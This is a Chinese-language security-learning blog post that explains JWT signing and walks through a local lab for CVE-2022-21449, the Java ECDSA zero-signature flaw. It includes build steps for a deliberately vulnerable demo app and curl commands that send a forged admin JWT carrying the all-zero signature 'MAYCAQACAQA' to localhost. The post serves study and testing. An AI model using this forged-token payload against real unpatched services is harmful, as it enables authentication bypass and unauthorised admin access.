iT邦幫忙

2022 iThome 鐵人賽

DAY 22
0

「You Shall Not Pass! /images/emoticon/emoticon18.gif」《魔戒》

Yes

  • 第22天要來針對 CVE-2022-21449 的實際可以被套用來攻擊的環境做架設,那攻擊的情境主要會發生在 JWT Token 上面。但首先要還是要大概了解一下 JWT Token 的機制

  • JWT Token 可以用來儲存使用者的相關資訊。用法是當使用者身分驗證成功後,伺服器會核發一個 JWT Token 回給使用者。之後使用者就帶著 JWT Token 來進行驗證,如果這個 JWT Token 是有效的,那就能夠獲取資源。這樣的好處在於 JWT Token 內可以存放一些使用者資訊,而無需由伺服器進行儲存。至於要怎麼存要稍微看一下 JWT Token 的資料結構。

  • JWT Token 由三段 JSON 所組成,透過 Base64URLEndoe 之後使用 . 來分隔開,長相大概會是 xxxx.yyyy.zzzz。 其中 xxxx 會描敘該 JWT Token 使用的使用的密碼學演算法,yyyy 則可以包含使用者資料, zzzz 則是一個 Signature,依照 xxxx 定義的演算法來驗證 yyyy 的資料是否正確。

  • 那為何需要驗證 yyyy 的資料呢? 因為有可能這個 JWT Token 遭受使用者惡意竄改/images/emoticon/emoticon16.gif,對中間的 yyyy 進行資料上的調整,這樣子就無法確保收到的 JWT Token 是由伺服器所發出。這時候就會用到簽章、驗章的概念。當伺服器發出 JWT Token 時已經透過私鑰做了簽章動作,當再次收到 JWT Token 就用公鑰進行驗章,確保收到 JWT Token 是合法的。

  • 講到這邊可以練習使用 JSON Web Tokens Debugger 來試試看製作 JWT Token 的效果。

https://ithelp.ithome.com.tw/upload/images/20221007/20148308WswvwKuJoF.jpg

base64url=''
echo "$base64url"==== | fold -w 4 | sed '$ d' | tr -d '\n' | tr '_-' '/+' | base64 -d

步驟如下 :

  1. git clone https://github.com/DataDog/security-labs-pocs.git
  2. cd security-labs-pocs/proof-of-concept-exploits/jwt-null-signature-vulnerable-app/
  3. 調整 build.gradle 裡面的 sourceCompatibility = '16'
  4. 連到 Gradle 官網 下載 Gradle
  5. 解壓縮後,將資料夾下的 bin 路徑設定到 ~/.bashrc 裡面
  6. 登出重新連線或是用 source 指令引入
  7. gradle bootJar --no-daemon # 從 Dockerfile 抄來的
  8. java -version # 確認一下使用的版本,如果不對的話要切換
  9. 編譯完成後執行該 jar 檔案
  10. 透過指令進行測試
curl localhost:8080 -sSL -D-

JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg
curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"

JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA
curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"
  • 這邊最後帶著 MAYCAQACAQA 就是之前說的 (r,s) = (0,0) 的 Signature,但詳細怎麼產出來的可以參考 Encoding Neil Madden's Psychic Signatures ,但原理蠻複雜的,就交給有興趣的各位研究。/images/emoticon/emoticon07.gif這個特殊的 Signature 也是 OWASP Testing JSON Web Tokens 有特別提到需要測試的項目,所以蠻值得參考一下的。

  • 呼~~ 這個數學弱點大概就到這邊了,主要就是透過它學習了橢圓曲線的運算、橢圓曲線的簽章運算、費馬最小定理的運用、JWT Token 的運作機制等等...,還算是一個可以學到蠻多東西的數學漏洞。/images/emoticon/emoticon01.gif


上一篇
Day21 - 數學就像一盒巧克力;你永遠都不知道下一加法乘法是什麼定義
下一篇
Day23 - CVE 漏洞期中考~~ 來試試看你可以闖過幾個 CVE 吧...
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言